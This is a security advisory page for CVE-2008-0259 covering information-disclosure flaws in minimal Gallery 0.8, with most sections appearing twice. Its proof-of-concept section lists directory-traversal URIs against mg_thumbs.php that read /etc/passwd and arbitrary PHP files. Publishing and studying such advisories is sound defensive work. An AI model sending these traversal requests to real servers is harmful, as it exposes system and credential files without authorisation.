minimal Gallery Multiple Information Disclosure Vulnerabilities
BID:27265
Info
minimal Gallery Multiple Information Disclosure Vulnerabilities
| Bugtraq ID: | 27265 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-0259 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 13 2008 12:00AM |
| Updated: | May 07 2015 05:33PM |
| Credit: | H-T Team is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
minimal design minimal Gallery 0.8 |
| Not Vulnerable: | |
Discussion
minimal Gallery Multiple Information Disclosure Vulnerabilities
minimal Gallery is prone to multiple local information-disclosure vulnerabilities because it fails to properly sanitize user-supplied input and restrict access to certain scripts.
Exploiting these issues may allow an attacker to view files and to access potentially sensitive information in the context of the webserver. This may aid in further attacks.
These issues affect minimal Gallery 0.8; other versions may also be affected.
minimal Gallery is prone to multiple local information-disclosure vulnerabilities because it fails to properly sanitize user-supplied input and restrict access to certain scripts.
Exploiting these issues may allow an attacker to view files and to access potentially sensitive information in the context of the webserver. This may aid in further attacks.
These issues affect minimal Gallery 0.8; other versions may also be affected.
Exploit / POC
minimal Gallery Multiple Information Disclosure Vulnerabilities
Attackers may exploit these issues through a browser.
The following proof-of-concept URIs are available:
http://www.example.com/_mg/php/mg_thumbs.php?thumbcat=../../../../../../etc/passwd http://www.example.com/_mg/php/mg_thumbs.php?thumbcat=../../../../../../[file].php http://www.example.com/_mg/php/mg_thumbs.php?thumb=../../../../../../etc/passwd http://www.example.com/_mg/php/mg_thumbs.php?thumb=../../../../../../[file].php
Attackers may exploit these issues through a browser.
The following proof-of-concept URIs are available:
http://www.example.com/_mg/php/mg_thumbs.php?thumbcat=../../../../../../etc/passwd http://www.example.com/_mg/php/mg_thumbs.php?thumbcat=../../../../../../[file].php http://www.example.com/_mg/php/mg_thumbs.php?thumb=../../../../../../etc/passwd http://www.example.com/_mg/php/mg_thumbs.php?thumb=../../../../../../[file].php
Solution / Fix
minimal Gallery Multiple Information Disclosure Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
minimal Gallery Multiple Information Disclosure Vulnerabilities
References:
References:
- minimal Gallery Homepage (minimal design)